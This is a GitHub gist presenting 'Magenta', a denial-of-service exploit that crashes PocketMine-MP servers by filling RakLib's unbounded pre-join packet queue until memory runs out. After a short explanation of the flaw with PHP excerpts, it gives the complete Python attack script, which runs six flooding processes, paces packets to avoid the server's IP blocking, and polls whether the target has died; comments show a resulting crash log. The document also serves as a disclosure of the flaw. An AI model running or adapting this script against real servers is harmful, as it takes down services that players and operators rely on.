Skip to content

Instantly share code, notes, and snippets.

@cr0sh
Last active June 20, 2021 00:56
Show Gist options
  • Save cr0sh/81dd0b04e5cf8a347c3f to your computer and use it in GitHub Desktop.
Save cr0sh/81dd0b04e5cf8a347c3f to your computer and use it in GitHub Desktop.

Before reading, please consider I have poor English writing skills. Sorry. :(

What is 'Magenta'?

'Magenta' is Python script, which are made to crash PocketMine-MP servers, exactly PocketMine-Raklib.

How is it possible?

To understand this, you should know how Raklib's session system is working. Raklib creates every session per IP/Port to manage each clients, and these sessions are PHP objects.

They have many properties, such as $messageIndex, $address, $port, etc. What we need to play with is $preJoinQueue[] array. This contains MCPE DataPackets before a server-client handshake, and all stored packets will be processed after the connection process is completed. (See This)

But, Raklib doesn't have any limit about storing packets here. This could be a memory-hog issue.

Tell me more about it.

Session::$state and Session::$preJoinQueue are propreties that we should take a look about. $state stores the connection status between a client and servers, which are STATE_UNCONNECTED/STATE_CONNECTING_1/STATE_CONNECTING_2/STATE_CONNECTED.

When a session is created, default value is STATE_UNCONNECTED. If the client sends OPEN_CONNECTION_REQUEST_1 packet, server replies with OPEN_CONNECTION_REPLY_1 packet, and session state is set to STATE_CONNECTING_1. See this.

<?
(...)
elseif($packet instanceof OPEN_CONNECTION_REQUEST_1){
    $packet->protocol; //TODO: check protocol number and refuse connections
    $pk = new OPEN_CONNECTION_REPLY_1();
    $pk->mtuSize = $packet->mtuSize;
    $pk->serverID = $this->sessionManager->getID();
    $this->sendPacket($pk);
    $this->state = self::STATE_CONNECTING_1;
}
(...)

Likewise, sending OPEN_CONNECTION_REQUEST_2 will set state to STATE_CONNECTING_2.

If the session state is STATE_CONNECTING_2 and the client sends a DataPacket(with EncapsulatedPacket in it)s, these will be stored in Session::$preJoinQueue[] array. See This.

<?
(...)
elseif($this->state === self::STATE_CONNECTED){
	$this->sessionManager->streamEncapsulated($this, $packet);
	//TODO: stream channels
}else{
   $this->preJoinQueue[] = $packet; // This is the root of all evil.
}
(...)

These packets will be processed after the connection process is complete(set to STATE_CONNECTED). See This.

<?
(...)
elseif($id === CLIENT_HANDSHAKE_DataPacket::$ID){
    $dataPacket = new CLIENT_HANDSHAKE_DataPacket;
    $dataPacket->buffer = $packet->buffer;
    $dataPacket->decode();
    if($dataPacket->port === $this->sessionManager->getPort() or !$this->sessionManager->portChecking){
        $this->state = self::STATE_CONNECTED; //FINALLY!
        $this->sessionManager->openSession($this);
        foreach($this->preJoinQueue as $p){
            $this->sessionManager->streamEncapsulated($this, $p);
		}
		$this->preJoinQueue = []; // After everything is processed, and the array will be freed.
	}
}
(...)

This 'vulnerability'(I don't have much knowledge about security, and I don't know if this is able to be called 'vulnerability'. I'm being cautious.) is made from This commit, which implemented preJoinQueue. Our plan is to make STATE_CONNECTING_2 sessions, and send DataPackets to them.

Exploiting

Well, Raklib had some Security-related patches before, and latter commit prevents attackers to send a lot of packets fast. If he sends too many datapackets at once, he'll be blocked immediately.

(The source code of Magenta is Here. Please consider my poor Python skills. :P)

Just read the comment.

#!/usr/bin/python3
import socket, binascii, sys, os, signal
from struct import pack
from time import sleep, time
from multiprocessing import Process, current_process
from datetime import datetime

BANNER = '''
Magenta v0.1 - PocketMine-Raklib memory-hog (crash) exploit
'''


def address(addr, port): # Simple python implementation of raklib\protocol\Packet::putAddress()
    return "\x04" + ''.join([chr(int(i)) for i in addr.split('.')]) + chr(int(port / 256)) + chr(port % 256)

def junk(addr, port, initsleep = 0): # Main exploit code
    signal.signal(signal.SIGINT, lambda a, b: sys.exit(0)) # Forget it :) just for handling KeyboardInterrupt
    MAGIC = "\x00\xff\xff\x00\xfe\xfe\xfe\xfe\xfd\xfd\xfd\xfd\x12\x34\x56\x78" # raklib\RakLib::MAGIC. Maybe raknet thing?
    PROTOCOL = 6 # raklib\RakLib::PROTOCOL. Raklib doesn't seem to check protocol version on OPEN_CONNECTION_XX packets.
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP socket
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024*64) # Tried to increase buffer, but failed. IDK why.
    OPEN_CONNECTION_REQUEST_1 = chr(5) + MAGIC + chr(PROTOCOL) + "\x00" # Yap. simple. 0x05(Header) + MAGIC + protocol version
    OPEN_CONNECTION_REQUEST_2 = chr(7) + MAGIC + address(addr, port) + "\x00" + chr(19) + "\x6d\x6e\x74\x61" # 0x07(Header) + MAGIC + server address/port + mtu size(idk. just set to 19) + clientID
    TRUCK = bytes(b'\x00\xff\x00' + b'\x8c' + ((b'\x00') * (1464))) #max size: 1464. size >= 1465 will cause packet drops. IDK why.
    sleep(initsleep)
    sock.sendto(bytes(OPEN_CONNECTION_REQUEST_1, 'utf-8'), (addr, port)) #Session state set to STATE_CONNECTING_1
    sock.sendto(bytes(OPEN_CONNECTION_REQUEST_2, 'utf-8'), (addr, port)) #Session state set to STATE_CONNECTING_2, preJoinQueue is available now
    seq = 1
    while True:
        sock.sendto(bytes(b'\x8c') + pack('<L', seq)[:3] + TRUCK, (addr, port)) #Junk packets! These will be stored in preJoinQueue, until the session is closed.
        seq += 1
        sleep(0.005) #To prevent IP block from server

def killall(processes):
    sys.stdout.write("[%s] Interrupting all processes: exit" % datetime.fromtimestamp(time()).strftime('%Y-%m-%d %H:%M:%S'))
    for process in processes:
        process.join()
        process.terminate()
    sys.exit(0)

def check(addr, port, processes):
    signal.signal(signal.SIGINT, lambda a, b: killall(processes))
    while True:
        sys.stdout.write("[%s] Checking server availibility... " % datetime.fromtimestamp(time()).strftime('%Y-%m-%d %H:%M:%S'))
        asock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        asock.settimeout(10)
        asock.sendto(bytes("\x01\xaa\xba\xba\xaa\x00\xff\xff\x00\xfe\xfe\xfe\xfe\xfd\xfd\xfd\xfd\x12\x34\x56\x78", 'utf-8'), (addr, port)) # unconnected ping, to check server availibility.
        try:
            resp = binascii.hexlify(asock.recv(1024))
        except (socket.timeout, ConnectionError):
            sys.stdout.write('Server seems UNREACHABLE. Maybe dead?\n')
            killall(processes)
            continue

        if resp.decode('utf-8')[:4] == '1cc2':
            sys.stdout.write('Server is still alive.\n')
        else:
            sys.stdout.write('Server seems DEAD, or blocked you!\n')
            killall(processes)

        sleep(15) # check every 15 secs

if __name__ == '__main__':
    print(BANNER)
    if len(sys.argv) < 3:
        print('Usage: %s <address> <port>' % (sys.argv[0]))
        sys.exit()

    addr = socket.gethostbyname(sys.argv[1])
    print("Address: %s (%s)" % (sys.argv[1], addr))
    sleep(0.5)
    processes = [Process(target=junk, args=(addr, int(sys.argv[2]), i * (0.01/16))) for i in range(6)] # Multiprocessing! yay!
    for p in processes:
        p.start()

    check(addr, int(sys.argv[2]), processes)
@cr0sh
Copy link
Author

cr0sh commented Sep 21, 2015

image

Cash example. Yay.

Server log

say start now
[19:52:34] [Server thread/INFO]: [Server] start now
say now: 550MB
[19:57:45] [Server thread/INFO]: [Server] now: 550MB
say 580
[19:58:09] [Server thread/INFO]: [Server] 580
[10:58:11] [RakLibServer thread/EMERGENCY]: [RakLib Thread #8432] RakLib crashed!
[19:58:12] [Server thread/CRITICAL]: [Network] Stopped interface pocketmine\network\RakLibInterface due to RakLib Thread crashed [raklib\protocol\EncapsulatedPacket]: Allowed memory size of 536870912 bytes exhausted (tried to allocate 1466 bytes)

@cr0sh
Copy link
Author

cr0sh commented Sep 21, 2015

Tested on: Windows 10, localhost(127.0.0.1:19132)
single (junk datapacket) packet size: 64000 bytes (I adjusted to test faster. DL speed was around 33000kB/s)

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment